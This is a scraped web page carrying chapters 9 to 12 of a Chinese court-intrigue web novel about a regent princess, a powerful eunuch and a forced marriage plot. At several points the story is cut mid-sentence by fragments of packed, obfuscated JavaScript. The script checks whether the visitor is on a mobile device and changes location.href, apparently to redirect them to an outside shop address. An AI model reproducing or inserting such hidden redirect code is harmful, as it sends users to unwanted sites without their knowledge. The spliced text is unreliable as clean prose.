l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190974|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层层叠叠的画像中。 画像外传来了定国殿下的声音:“都下去吧。”然后便听得宫人鱼贯而出,谢辞渊微微回头,只见一身石榴红宫裙的周昭野正掀了画像进来,还蛮好奇地回头看了看画得如何。 谢辞渊挑了挑眉:“……” 周昭野自来熟道:“谢公公,许久不见。” 这真是没话硬找,前两天年三十宫宴上刚刚见过。皇帝早赏了他御前行走不必与任何宗室见礼的恩赏,是以谢辞渊见了她也没有请安的意思:“殿下怎么来了这儿?有吩咐?” “吩咐谈不上。”周昭野笑道,“听陛下说谢公公今天也在宫里,想起之前公公还曾带孤游览归去来,所以特来看看公公。” 谢辞渊心想定国殿下这称呼看来是改不了了,真够没眼力见儿的。 “咱家多谢殿下惦记。” 周昭野好奇地指了指四周:“公公这是在?” 谢辞渊做了个‘请’的手势,周昭野便跟上了他。他层层拨开眼前的美人画像,动作轻柔得仿佛抚摸花瓣:“这些是京中适龄贵女的画像。” 恍惚间周昭野眼前又闪过归去来地下,明明暗暗的光影。还有前面这人身上始终萦绕不去的甜香……今天好像怎么也是梨。 “太后娘娘那边正办着赏梅宴呢,立夏前后又要选秀,公公何必麻烦这一遭。” “当然是陛下不愿要太后娘娘筛选过的人了。” 周昭野闻言一叹,心想被太后筛过还是被你筛过又有什么本质上的区别。 “不过太后与咱家的区别就是,”谢辞渊仿佛读心般道,“咱家比太后知道一个道理。” “哦?” “自古君王爱美色。”谢辞渊道,“只要满足了陛下这唯一一个要求,其实皇后出自谁家,陛下并没有那么在意。” 周昭野道:“王家小姐要说中人之姿呢,确实有些勉强了。不过娶妻娶贤,也是古来的道理。” 谢辞渊一哂:“贤。” 他这一声似嘲似叹,藏了许多不尽之意。周昭野听得心尖一跳,然后就听他接着道:“贤德是外人传的名声,今日可以贤,明日就可以不贤。” 他轻声道:“如果不贤,那太后也就没什么话好说了。” 周昭野不语,他只扶起一卷画像,回头对着周昭野笑道:“殿下瞧瞧这位小姐,可美吗?” “谢公公。”周昭野没有回答,盯着谢辞渊的眼睛,认真道,“孤确实有事拜托公公。” 谢辞渊彬彬有礼地一摊手。 “王家小姐年纪尚幼,的确不能堪当国母,孤是陛下亲姐,自然会为陛下解忧。”周昭野道,“只是无论大人们的谋算如何,稚子无辜,还望谢公公不要与幼女为难。” 谢辞渊就笑:“瞧殿下说的,咱家多凶神恶煞一个人呢。王家小姐到底是多好一个人,竟值得殿下这样费心?” “孤不了解她。”周昭野掷地有声道,“只是天下的事,不该是这样办的。” “天下的事有时就是这样办的。”谢辞渊道,“也罢,殿下难得吩咐咱家什么事。只是这桩事到底是咱家应承圣上,若殿下平白……” “孤答应公公一件事。”周昭野道,“是钱粮,还是京兆尹的刁难,或者是将来哪处用得上。只要不违反道义,孤都答应你。” 谢辞渊静静看着她:“……” “倒也犯不上这么下血本。”半晌,谢辞渊淡淡道,“咱家请殿下吃个饭吧。” 10.chapter 10 无可选择 隔日仍旧是归去来。 铺天盖地的西域装饰,天上地下枝缠着枝,蔓缠着蔓。紫檀案上悬着个正咕嘟嘟冒泡的金吊子,里面悬悬浮浮的炖着一只梨。 桌面上另摆了八荤八素,并一琉璃壶石榴红的酒,在木纹上投下斑驳的光。 周昭野盯着金吊子,似乎出神地在想着什么军国大事。听说镇北侯又去吠了几回,都被定国殿下推太极一样踢走了。 谢辞渊道:“殿下?” “闻着比孤府里小厨房的还要香,没想到公公还有这手艺。”周昭野赞赏道,“不错,来一碗。” 谢辞渊:“……” 定国殿下真是大大方方一个人。 周昭野抄着手等,见谢辞渊半天不动,露出个疑惑的表情:“?” 谢辞渊道:“咱家还得盛?” 周昭野露出个莫名其妙的神色:“难道孤盛?” 谢辞渊静静地看着她,然而周昭野满脸理所当然,并没领会他的深意。少顷谢辞渊伸手取碗,给她把梨捞出来了。 苍天可见,自从他做上掌印之位后就再没服侍过谁了,连皇帝都交给小顺子打发了。 谢辞渊道:“听说萧破军最近常去殿下府上叨扰。” 周昭野道:“大概他意识到在公公这儿要钱是行不通了,所以像鬼一样缠上了孤。你找孤吃饭,就是为了问这个?” 她评价道:“你们两个真是恩爱不浅。” “……”谢辞渊道,“这词不是这么用的。咱家不关心萧破军如何,只是好奇殿下这样的人,怎么宁肯他成天去闹,也不点个头。” 周昭野道:“你不也没点头吗?” 这话说得倒像是他们两个互通有无,合伙欺负那黑面武夫似的。谢辞渊道:“咱家与萧破军有私怨,殿下可没有吧。” 周昭野不动声色道:“什么私怨?张彦啊?这事儿还没过去?我看京兆尹已经快把这事扔进故纸堆了。” 谢辞渊道:“见咱家就没好声气,纵容党羽罗织罪名参奏,这还不够私怨?” 周昭野心想你那罪名八成都是真的,参奏的折子最后反正也是递到你手里,对你来说压根皮外伤都没有吧。 她只调侃道:“哟,他在您面前还配提党羽呢。” 谢辞渊靠在朱栏边,默默地喝酒。宦官不与天家共桌,他也不想伺候,于是只在一侧看景。 周昭野道:“年年拨下去的军费,按户部算出来的钱财,支撑各地兵马是绰绰有余的。可各地将军元帅常来叫穷,这孤也理解,钱花起来总是无底洞,不过大约要多少,孤心里也有数。” 她随手比了个数字:“这其中只有镇北侯,狮子大开口,每年的数目都远超这个数,截云关只是抵御,这些年来并未正式开战,怎么用得上这么多钱?前几日孤与陆大人翻来覆去地对账,得出以截云关的人马,绝花费不了这么多的结论。” “那多余的钱去哪了?”周昭野道,“镇北侯多年领兵,光吃空饷都足够买下十个公主府了。此事并非截云关真的多么紧迫,实乃萧破军贪心不足。国库这点儿家底本来就捉襟见肘,孤倒还要搭钱,替他养儿子了?” “闹去吧。”周昭野浑不吝地一摊手,“孤穷得很,还要怎样,实在不行下次见他这两根钗也不戴了。” 她今日出门,只简单地用两根玉簪挽着头发,一身青锦织金的牡丹纹裙子,手上光秃秃的连只素银镯子也没有。玉簪布料质地倒不错——也都是内供的份例,上次来归去来也是类似的这么一身。 不谈气质,只看装扮,这一身真是连公府小姐的华贵都赶不上,更别提皇亲了。要不是听其谈论国事轻松写意的语气,任谁也猜不到这女子的身份。谢辞渊这一身光配饰就比她贵个十倍。 谢辞渊打趣道:“看行头可真猜不出您是定国殿下。” “哪儿能跟谢公公比啊。”周昭野揶揄道,“请人吃顿便饭都十六个菜。” 谢辞渊哑然失笑:“户部泰半都是殿下提拔上来的人,陆世襄更是唯殿下马首是瞻,国库尽在掌握,怎么就连殿下的妆奁都供不起了?” “养孤自己是绰绰有余,养这一朝百姓那就捉襟见肘了。”周昭野道,“孤就是个打算盘的管家婆罢了。” “殿下在咱家面前真是坦荡。” “孤在谁面前都很坦荡。”周昭野停筷,突然笑道,“倒是谢公公啊……” 谢辞渊疑道:“殿下笑什么?” 周昭野说:“笑你。端着架子不愿意给孤盛点甜汤,却又不敢上桌吃饭,只在一旁喝酒。” 谢辞渊一愣,却见周昭野执起金杯走过来,俯身与他一碰:“孤堂堂定国公主敢来孤身赴宴,难道为了点虚礼掀你的桌子?” 她垂眸俯视着谢辞渊:“公公找孤,到底想说什么?” “其实我与殿下……”谢辞渊仰头,看着定国殿下利如单刀的目光,竟然下意识说了真心话,“并没有真正的冲突。” “何以见得?” “我们之间没有非算不可的血仇。”谢辞渊道,“其他的,都可以谈。咱家想与殿下结个善缘,来日无论谁有难处,彼此守望相助。” 周昭野沉默了半晌,谢辞渊紧紧盯着她,金吊子仍旧在咕嘟嘟地冒着泡。 圣安司,内廷宫禁,皇帝,批红权。倘或答应他,这些权柄,想必触手可及了。 少顷周昭野直起身,淡淡道:“不了吧。” 谢辞渊下意识伸手想拉一把,然而理智克制了他的动作,只感觉到那冰凉的青锦,流云一样从指尖滑过了。 “谢公公行事阴诡,游走暗处,侍奉君主以得权势,恐吓下民而得威名。这些事,孤不是不知道。可天下有无数种道路,无论是哪一条道路走通了,孤都敬佩他是个能人。” 她吸了口气:“孤不讨厌你。可旁门左道,无法真正服众。孤行正道,不求肃清朝野积弊,只求守成安稳。公公,我们不是一路人。” 她将杯中酒一饮而尽:“内阁那边还有事,孤就不多叨扰了,告辞。” 她转身离开,却听谢辞渊在身后加重了语气,又叫了一声:“殿下。” 周昭野停步,谢辞渊站了起来:“咱家也敬佩殿下磊落坦荡,可殿下出身天家,又登高位,您不知道,有太多的阴私事不是不存在,而是还来不及挨到您。可殿下现在虽如鲜花着锦,将来却未必!” 周昭野猛然回头:“你威胁孤?” 谢辞渊道:“咱家不敢。只是奉劝,你除了我,根本就没人可选!” 周昭野颇感荒谬:“可笑!凭什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209150|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢辞渊一顿,似乎觉得接下来这句话难以出口。 “……因为你是女人。”良久,谢辞渊终于道,“在这个世道上,不会有人真心始终站在你那边。” 周昭野的回应则只是冷笑一声,拂袖而去。 今日是首辅找她赏花,又是赏花。 本朝首辅名闻崇简,今年已经七十有余。寒门出身,状元及第,辅佐三朝,加官太子太傅。如今的皇帝和定国殿下,内阁钱王陈三位阁老,都曾是他的学生。 先帝在时赞其为天下座师,乃是天下文臣之首。 自从周昭野能独挡一面后,闻阁老找周昭野的时候也就不多了。老人家这个岁数,朝堂上轻易的琐事,他也懒得再管了。 然而这个微妙的时间上,周昭野大概也能猜到醉翁之意了。 闻府离皇城已经很远了,京中置了一间三进的宅子,这么多年已经很破旧。 闻阁老人如其名,生活很是简朴。私下见面,常只穿一件旧棉袍,任凭来人是定国公主还是六部官员,只招待点便宜茶叶。 周昭野只差喝了一口碎叶沫子,想偷偷呸出去,然而崔兰止就在身侧站着,这做派实在不雅。崔兰止看出她面色,便无声地将茶盏接过来换下。 闻府天井下是一片花田,此时确实盛开了一片苍碧色的花叶。周昭野品了半天没品明白,心想这什么,菜吗? 闻崇简背着手,乐呵呵道:“昭野你看看,怎么样?” 周昭野委婉道:“哈哈,挺茂盛。” “你这孩子,打小就没什么审美。”闻阁老道,“照那谁……,谁都比你强。” 周昭野笑道:“老师说的是。” “昨天太后娘娘宫中设宴,我听说是定了惟仁家的小孙女?” 内阁王惟仁,正是如今太后的亲爹,也曾拜于闻崇简门下。 周昭野道:“还没定呢。” “陛下嫌人家女孩儿没趣是吧?聊天都不开心,更别提娶回来,成天摆着看了。”闻崇简摆摆手,“昭野啊,陛下被奸佞蛊惑视听,此事上,也只有你能劝劝陛下了。” 周昭野道:“我吗?” 闻崇简道:“此事牵扯利害极深,昭野你应该明白。” 能有什么利害?皇帝都荒唐成什么样子了,还差一个皇后娶谁家吗? 反正肯定也不会是平民百姓,只要是贵胄女子,还不都一样?她看最大的利害也就是王家和太后不太高兴罢了。 “昭野,你的根基不稳啊。”闻崇简缓缓道,“陛下但凡大婚,朝中八成就会有声音要求你还政。你虽有先皇旨意定国辅政,可底下物议沸腾,有‘牝鸡司晨’这样的话也不是一天两天了。” 周昭野沉默。 无关情分与人格,无论谁手握权力,都不会轻易放开,放开的那一天,八成就是死期。 “皇后之位,想必谢辞渊那奸人也在盯着了。他惯会讨陛下欢心,若皇后之位也出自阉党一派,从此朝堂上的风向就要大为不同了。” 周昭野心想那出自太后家对我也没什么好处啊? “凡事不说能变得多么好,其实能维持现状,让它不要更坏,就已经很难得了。”闻崇简叹了口气,“至于昭野你的婚事,老师也有安排。” 周昭野一愣:“啊?” 11.chapter 11 掣肘 闻崇简道:“或者一个武将世家的世子之类,或者是内阁这几位家里的公子,于昭野你都可堪良配。” 周昭野皱眉:“老师,我没有要……” 闻崇简伸手挡了一下,示意她安静听:“老师自然知道你的意思。可昭野,你还年轻,不要被眼前一时的冲动迷惑了头脑。” 他抬眸看了始终跟着周昭野的崔兰止一眼,崔兰止了然,知情识趣道:“刚才看阁老院子里梅花不错,兰止去瞧一瞧。” “兰止别走。”周昭野回手拉住他,又道:“老师有话尽可明言,兰止没什么不能听的——兰止正应该听。” 闻崇简并不说话,面色仍旧是和善的,只是目光牢牢定在了崔兰止身上,然而周昭野也并不放手。崔兰止保持着原有的姿势没动,后背慢慢洇出一点汗来。 “好吧。”闻崇简温和道,“听听也没什么。” “对你来说,婚事是个机会。现下虽户部和礼部泰半是你提拔上来的人,可吏部和内廷却被谢辞渊牢牢把控,你说不上什么话。工部兵部自成一家,四方将领更是不受管辖。那谢辞渊手上有圣安司这等利器,你在这方面却并无可以抗衡的力量,老师怕总有一日,你要受人掣肘。” 周昭野迟疑了一下,却还是道:“其实我与谢辞渊,倒未必是什么你死我活的关系。他……” 闻崇简叹了口气,崔兰止便偷偷拉了拉周昭野的袖子,周昭野住了嘴,不再说了。 闻崇简道:“谢辞渊的为人行事,我也不必再与你多说了。哪怕他对你稍表善意,那也是因为你是皇家的人,太监么,无论再怎么权势滔天,轻易也不与皇亲冲突。可昭野,谢辞渊对你的威胁不在于他本人,而在于你自己。” “昭野不明白。” “你的根基在于文臣们对你的认可与拥护,但这些人对你的拥护,根本上并不来源于你做得多么好。”闻崇简辛辣道,“而是陛下实在……而昭野你是陛下亲姐,性情光明磊落,处事公正,并不弄权,某种程度上满足了大家对明主的期待。谢辞渊完全是相反的方向,文臣们对他蒙蔽圣听,弄权作法的不满,远超于对你作为女人辅政的不满。” “公主府的属臣,大多是不齿于阉党作为而投靠你的。倘或你与谢辞渊关系亲密,甚至只是没有那么敌对,他们都会失望。久而久之,正如千里之堤溃于蚁穴般,势力也就消散了。” “而读书人嘛,说什么风骨气节,那终究是少数人。绝大多数仍旧是见风使舵,今天是你定国殿下的门下,明日改换门庭,只说一句‘形势所迫’,也不是什么难事。” 闻崇简叹道:“昭野,你终究是势单力孤的。但成亲是绝好的机会,如果你能与武将勋贵结盟,借机打进军队,甚至掌握兵权,形势就大为不同了。你明不明白?” 周昭野沉默。 她当然明白。权贵联姻,利益向来重于真情,然而,然而。 “至于感情么。”闻崇简苦口婆心,如同自家长辈一样拍了拍她的肩,又扫了崔兰止一眼,似乎有许多不尽之意:“其实也并不会真的耽误什么,昭野,你已经比很多人幸运了。这对你来说,完全可以不是个选择。崔长史,你是殿下近臣,你觉得呢?” 这甚至称不上羞辱,而是纯粹的压迫了。崔兰止沉默半晌,才道:“阁老……说得是。” 闻崇简笑了笑,殷殷嘱咐道:“这就对了。时常你也该多劝着殿下,勿要感情用事才好。” 周昭野听不下去了:“老师!” 闻崇简见好就收的闭了嘴。又道:“镇北侯世子最近回京述职,我前两天进宫面圣,陛下的意思是他就不见了,我说军政要务,怎么也得定国殿下把关,应该也就是这两日,他就应该上门了。萧世子人品贵重,常年随父在截云关,对京城风物并不了解,昭野你可以带着他多看看,别的不说,就当跟兵部结个善缘,难道不好吗?” 他温和而慈祥道:“昭野,老师一切都是为了你好。” 回程的一路周昭野都很沉默地看着窗外,崔兰止并不出声,只默默地沏茶,间或有细碎的玉盏碰撞声响起。 殿下哪怕心情不爽,也一向没有迁怒旁人的习惯,只是会放空自己。这样的出身,也不知是怎么养出这么温润的个性。 周昭野深深地吸了口气……然后被马车外的冷空气呛到:“咳咳咳咳……” 崔兰止笑了一声。周昭野回神,看着他,稀奇道:“你不生气?” “本来也气,”崔兰止道,“可看殿下比我更气,我就不气了。还叫殿下哄我不成吗?” 于是周昭野也跟着笑了一下。 崔兰止又道:“镇北侯世子的事,既然是闻阁老牵线,恐怕殿下还是要办,只是要想个办法为殿下脱身了。” “……”周昭野静了一下,“我以为你会乐见此事呢。” 崔兰止一愣:“怎么会?” 车里气氛一时凝滞,崔兰止想了想,起身蹲在她面前,仰头看着她:“昭野。” 周昭野一愣,崔兰止认真道:“无论如何,我希望你得到你想要的东西,不要受人逼迫。” 车轮轧过雪地的声音细细密密地透过窗帘吹了进来,纵观相识这十年,他大约都没说过比这个更动听的话了。 仿佛过去了一万年,也仿佛只在须臾间,周昭野轻声问:“我想要的东西……如果有一件事,我想要,但你不想要。你仍旧这么想吗?” 崔兰止说:“嗯。” 他仿佛发誓,又仿佛许诺般道:“我会努力。” 周昭野突然没头没尾地道:“从现在到真正选秀有两个月……” 如果在那之前,你还没有爱上我的话。 “她会怎么做呢?”谢辞渊仰头看雪,好像在问天。 裴彻说:“督公今日,好惆怅啊,哈哈。” 谢辞渊淡淡道:“咱家很久没有被人拒绝过了。”别的人但敢拒绝他还可以威胁,威胁不了还可以杀,这位扎手。 裴彻道:“这就是督公请下官来吃剩饭的原因?” 他莫名地看了看这桌残羹冷饭,看起来上一个宾客应该是位饕餮,胃口甚好,每道菜都受伤不浅。金吊子里的梨都没了……豁这个稀奇!他那梨不是炖着玩儿的啊? 他谨慎道:“我必须吃吗?督公看吃多少合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214002|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适?” “哦,不用。”谢辞渊恹恹道,“叫人来撤换吧。” 裴彻:“……” “咱家听说裴大人当年从军,曾经在萧破军儿子身边做过一段时间参将,是以请大人来说说,这位萧公子是个怎样的人。” 裴彻了然:“萧策啊。行军布阵都不错,有其父之风,只是经验上还差镇北侯一些,假以时日定成大器。武艺人品俱好,是个难得的率性人。” 谢辞渊道:“长相如何?” 裴彻一懵:“啊?啊?还行吧。” 谢辞渊不满地盯着他,裴彻想了想,补充道:“倒是没有他爹那么壮,长相上应该像他母亲,挺秀气的,气宇轩昂。” “听起来还真不错。”谢辞渊道,“比之芝兰玉树如何。” “嗨,”裴彻一摆手,“打仗的人,芝兰玉树这词和他有什么关系……嗯?芝兰玉树啊,哦——” 他想到个关键人物。 “论品貌,肯定是芝兰玉树更好了。”裴彻谨慎道,“但论才干嘛……毕竟是有军权的少将军啊。” 谢辞渊道:“有心上人吗?” “这个……”裴彻道,“没有吧,没听说过。” 谢辞渊的眼神像黑无常那样幽幽地飘浮了过来,裴彻道:“但话又说回来,同袍这么久,下官倒知道他喜欢什么类型!” 谢辞渊道:“裴大人请。” 裴彻兴致勃勃道:“清丽佳人啊!绝不能浓妆艳抹,珠翠满头。也不能太讲究规矩,他最受不了说话一百来个弯儿的,最好就是简单坦荡,直来直去,能让他信任。再穿点颜色素淡的裙子,他骑马路过都要多看两眼。” 太后一党真是给定国殿下量身定制了个套啊。 谢辞渊冷道:“自己就头脑简单,还不娶个心思好使点的媳妇,咱家看镇北侯家这门楣也是要不保了。” 裴彻观察着他的脸色,感觉自己懂了些什么:“不过如果督公想要萧策不喜欢什么人,那也简单啊!” 谢辞渊不悦道:“咱家跟他过不去干什么?” “嗨,这镇北侯老得罪您,他儿子凭什么娶个顺心顺意的媳妇啊!”裴彻心想我都懂,和人家定国殿下一点关系都没有,“萧策人品清正,生平最恨仗势欺人,奢靡享乐,不体民情的朱门纨绔。不用多见面,只要一听这名声,他就厌恶了。” 仗势欺人,奢靡享乐,不体民情的朱门纨绔。 隔日,公主府。 “这是宫里送来的?”周昭野摸不着头脑道,“最近有谁要求孤办事吗?” 正堂院里一字列开摆满了箱子,此刻全都开着口,绫罗珠玉在日光下都泛着光。周昭野端着一盏茶挨个走过去,稀奇地拎起一件头面:赤金嵌宝凤穿牡丹头冠,那凤凰翅羽雕得栩栩如生,仿佛马上就要振翅飞去。 “真是好东西。”周昭野赞道,“这工匠手这么巧,该赏。可这怎么说的,是陛下赏的年礼?” “是司礼监送来的,来人特说这是谢公公亲挑的,说是殿下本该有的分例。” 崔兰止看了周昭野一眼,周昭野茫然道:“他……被拒绝开心了?” 12.chapter 12 小琵琶 镇北侯府。 “孽障!”萧破军勃然大怒,劈手将茶杯甩在地上,咣当一声碎了八瓣儿。 门外的军师噤若寒蝉,恨不得将耳朵塞进脑壳去。然而屋内自家世子爷梗着脖子跪在堂下,丝毫不惧亲爹的怒火,好像一头沉默的犟驴。 犟驴说:“我不娶。” “你凭什么不娶?!”萧破军喊了一早上,几乎要破音,“定国公主长得好看,户部全在她手里,有钱有才有貌,哪点配不上你了!” 犟驴说:“我跟她都没见过面!” “还非得跟你见过面不成!你懂不懂点道理?!父母之命,媒妁之言,你懂不懂!” 犟驴一梗脖子:“我不懂!如果我跟定国公主成亲,我就回不了截云关了!” “截云关就是卖命挣军功,有什么好回的!混到头了你也就是个乡下的土将军,娶了定国公主你就一步登天,能直接进中央,不比你在那破地方吃雪强?!” 犟驴说:“大丈夫忠君爱国,哪怕就死于沙场,也比靠着女人裙带上位,搞些阴谋诡计来得干净!” 萧破军眼前一阵阵的发黑,气得一个没站住,仰坐在椅子上。缓了一会儿,又开始骂:“畜生!什么叫靠着女人裙带上位,什么叫不干净?!我在兵部经营多年,在你眼里合着就落了个不干净!” 犟驴咣当一声磕了个响头,掷地有声地说:“儿子不敢!” 好悬没给萧破军噎死,军师听着实在是不行了,长叹一口气,不得不开门进来,介入了父子谈话。 “侯爷消消气,世子爷,您也少说两句。”军师替萧破军拍了拍背,语重心长道,“侯爷的良苦用心,世子爷要体会啊。” 这军师进士及第,随帐多年,是一群兵鲁子里难得有智谋的人,一向颇有地位。萧策偏了头,不再说话,然而从眉骨到嘴角都透露出一股‘不体会’的意味来。 萧破军冷笑一声:“好,好啊!咱们家世子爷,看不上你爹我的钻营,又瞧不起人家定国公主,这清高劲儿,你怎么不去考科举呢?” 军师:“……” 军师按了下萧破军的肩,暂且封印了这头暴龙。又亲上前将萧策扶了起来,“世子爷请起。” “战死沙场,为国效命。试问谁家名将,没有这样的初心?可世子爷,截云关凶险,镇北侯府几代人都死在沙场上,到您这一辈,只剩下您一个人了。”军师道,“倘或您留在关外,有个万一,就算侯爷能撑得住白发人送黑发人,可叫侯夫人怎么办呢?定国公主实乃良配,侯爷千辛万苦才说动闻阁老说媒,那闻阁老,可不是个好相与的人,父母拳拳之心,世子也该体谅才是。” 萧策沉默,萧破军定了定神,也道:“如果我跟你娘有第二个儿子,你爱他妈哪去哪去,谁稀罕管你?”军师赶紧又捏了他一把。 萧破军道:“可咱们萧家就剩你一个人,我怎么都要为你筹谋。说实话,就当今天子这个样子,四方都不安稳。你别以为截云关倚赖天险就万事大吉,随时都可能出事!开了春我去坐镇,你留在京中,为咱们萧家留个安稳的血脉——不说别的,有公主在,真有个孩子,谁都不能叫他去搏命了!” “随时都可能出事。”萧策冷冷道,“那父亲怎么还年年截一半军费呢?” 萧破军一窒,彻底破功,猛然站起来,差点给军师掀翻,又抄起个茶盏摔在萧策头上。碎瓷四溅,萧策眉目不动,神色坚冷,额角流下两行血来。 “没脑子的东西以为老子打不动你了是吧?!”萧破军喝道,“取我金瓜铁锤来!” “父亲今天就是把我打死,我也是这么说。”萧策丝毫不惧,“儿子这一生只求活个堂堂正正简简单单,戍边守卫死就死了,只婚嫁一事,我要娶真心相爱之人!” 萧破军猛然出手,铁掌直奔着儿子天灵盖而去,军师见状不好,迅速出手推了萧策一把——没推着,他们家世子人轴却不傻,见老爹这一击有真功夫,已经提前躲了! 萧破军道:“好小子!你还要跟我过两……” 然而萧策转头就跑,完全没管老父称赞,飞身出门,两步就上了墙头,萧破军一句话还没说完,儿子的身影已经消失在视野里了。 一时间鸦雀无声,萧破军:“……” 怒喝响彻镇北侯府:“紧闭大门!不许那畜生回家!不许给那畜生钱也不许给他马!敢回家就出动府兵压到家祠!老子打死他算了!” 艳阳昭昭。 周昭野把笔一丢,看着批完的山一样的奏折,百无聊赖道:“到底还来不来啊?” 既然老师开口,她怎么都要全了场面,正好谢辞渊不知道抽什么疯,连着送了好几天首饰,连她这么懒惰的人也难免正经打扮了两下。 结果在府里等了三四天了,镇北侯府连个信儿都没有。不说少将军述职吗?人呢? 她摸着下巴,乐观道:“难道我把镇北侯得罪狠了,所以这事儿他也不乐意?那可太好了。” 能等三四天,她已经相当给面子了。不管那头出了什么事,之后老师再问,她就也有话说了。她快乐道:“那我可要出门玩了。” 崔兰止道:“想去哪儿?” “倒也没有什么特别的事情。江南那边查风陵渡的人还没回信?” “还没有,离得太远,来回脚程都不止这些日子,再过一段时间吧。”崔兰止道,“不过你前两天说让我找的人,我找到了。” 周昭野精神一振:“找到美人儿啦?走,一起看看!” 前几日从闻阁老处回来,周昭野晚上突然下了道令,命他秘密找寻民间出身,家世清白的绝世女子——要求非常具体,家族势力最好是没有,如果是官家小姐,父亲品阶最高不可过五品。但要绝色,倾国倾城的,能叫男人一眼爱上的绝色。 崔兰止对这个‘倾国倾城’持保留态度,但大体明白了殿下的意思是要美女。以京城之大,探寻之下竟真找到了几位容色照人的女子。 只是…… 崔兰止无奈道:“殿下又要微服出行了?” 真正美貌动人的是一对姐妹,家境十分贫寒。崔兰止找到她们的时候并没有表明身份,只是隐在暗处,将她们安排在了望江楼后厨做活儿。 望江楼也是京城里老牌的酒楼了,只是比之归去来低调的多,又离皇城很远,十分不引人注目。只听说背后是好几家官人控股,不过谁都不怎么来管理。不露面的主家里,就有一位是公主府的暗桩。 周昭野兴致勃勃道:“哦,还是我的生意?” 崔兰止道:“也不全算是您的生意,那就太乍眼了。只是我留的一步暗棋,若有需要可便宜行事。” 望江楼没有归去来那么阔气,可一楼也有一方台子,时而有歌舞。他们坐在二楼,正对着台上卖唱的素衣女子。 看上去十五六岁,还没完全张开,可眉目艳丽大方,已经有了日后倾国倾城的影子。 确实是皇帝会喜欢的类型,兰止办事很妥帖。只是…… “怎么扔在这儿卖唱?”周昭野奇道,“以后要是真送进宫了,说出去也不好听啊。” “她没有名字,家里只叫二丫头,是贱籍逃难进京的。一直靠卖唱挣钱,给自己取了个名儿,就叫‘小琵琶’,靠这点钱养活自己和妹妹。” 崔兰止道:“我本想将她们安顿在个妥当地方,可她们好像觉得我是坏人……” 周昭野拍腿大笑:“你这张脸还会被当成坏人?” 崔兰止无奈道:“所以我只好由得她继续卖唱,只是放在咱们眼皮底下罢了。若需要,为她姐妹做个清白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230912|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份,也不是难事。” 周昭野问道:“不是姐妹吗,这是姐姐,妹妹呢?” 崔兰止道:“她不许妹妹出来贱人,每天把妹妹打扮得灰头土脸,让她在后厨干活。年纪太小了,才十岁。殿下若要见,就传她上来。” “不必。”周昭野一合折扇——她男装出门,还带了把扇子,“咱们下去看看这位‘小琵琶’。” 她刚下到一楼,就见一个满身脂粉气的富贵公子油里油气站起来,摇摇晃晃向着小琵琶走去——崔兰止皱眉,道:“怎么把这号人物放进来了,我去……” 周昭野一横折扇拦住了他:“别动。看看她怎么说。” 富贵公子开始吟诗:“平生不会相思,才会相思,便害相思。美人儿,本公子最近几天可是经常相思啊!” 小琵琶停了手,抱着琵琶冷静地看着他。 “俗话说那个什么……对,良禽择木而栖,你说你在这儿才每天挣几个钱,跟了本公子,保你大富大贵!” 富贵公子走上前,伸手就要去拉扯小琵琶的衣袖。小琵琶向后撤了一步,避开了。 富贵公子也不恼,似乎还觉得很有情调:“嘿,美人儿你也别故作姿态了。你看看这手都冻得通红,哥哥我心疼啊……” 小琵琶问道:“公子能给多少?” 周昭野皱起眉:蝇头小利就动心,见了天家富贵只怕更不堪大用—— 富贵公子风流倜傥地一笑:“美人儿你随便开嘛,你……” 他的步子没停,不断地向小琵琶逼近。小琵琶不断地后退,但每次的幅度都不大,看着倒更像是调情而非真心闪避。她轻声说:“公子随我开价?那……” 富贵公子□□道:“都可着你——我操,谁啊!” 一条白毛巾如利刃劈下,横亘在小琵琶与富贵公子之间。甩毛巾的人一把好力气,又有好手段,脏水甩了富贵公子一身。 富贵公子勃然大怒:“我操他娘的,谁来坏爷的好事!” 周昭野低声赞道:“好身手。” 只见一个人高马大的店小二站在一旁,容貌竟然很俊朗,肤色黝黑,因干活热了扯开了领口,露出一片古铜色的肌肉结实的胸膛。他一手拎着白毛巾把富贵公子挥退出去两米,一手死死攥着小琵琶藏在衣袖里的手腕。 小琵琶冷声道:“放手!” 店小二并不理会小琵琶,冷冷盯着那富贵公子,目光如有实质,仿佛金铁。富贵公子在这眼神下后背竟一阵一阵发寒,只不想露怯,硬撑着站在那里。 店小二道:“本店禁止顾客调戏歌女,贵客见谅。” “你,你娘的!我去找你们掌柜的赔钱!你他妈叫什么!” 店小二顿了一下,道:“萧二。” 